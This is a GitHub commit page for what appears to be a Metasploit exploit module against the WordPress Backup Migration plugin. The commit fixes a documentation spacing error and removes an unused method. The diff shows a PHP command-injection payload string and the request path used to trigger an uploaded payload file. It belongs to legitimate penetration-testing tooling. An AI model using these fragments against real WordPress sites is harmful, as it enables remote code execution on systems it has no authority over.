Skip to content

Commit

Permalink
Fixed spacing and removed unused method
Browse files Browse the repository at this point in the history
  • Loading branch information
jheysel-r7 committed Jan 11, 2024
1 parent cdc66dd commit 6d8666e
Show file tree
Hide file tree
Showing 2 changed files with 1 addition and 5 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -76,7 +76,7 @@ Module options (exploit/multi/http/wp_backup_migration_php_filter):
Name Current Setting Required Description
---- --------------- -------- -----------
PAYLOAD_FILENAME ONxu.php yes The filename for the payload to be used on the target host (%RAND%.php by default)
PAYLOAD_FILENAME ONxu.php yes The filename for the payload to be used on the target host (%RAND%.php by default)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8000 yes The target port (TCP)
Expand Down
4 changes: 0 additions & 4 deletions modules/exploits/multi/http/wp_backup_migration_php_filter.rb
Original file line number Diff line number Diff line change
Expand Up @@ -110,10 +110,6 @@ def write_to_payload_file(string_to_write)
register_file_for_cleanup(datastore['PAYLOAD_FILENAME'])
end

def create_payload_file
send_payload("<?php `echo>#{datastore['PAYLOAD_FILENAME']}`;?>")
end

def trigger_payload_file
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'backup-backup', 'includes', datastore['PAYLOAD_FILENAME']),
Expand Down

0 comments on commit 6d8666e

Please sign in to comment.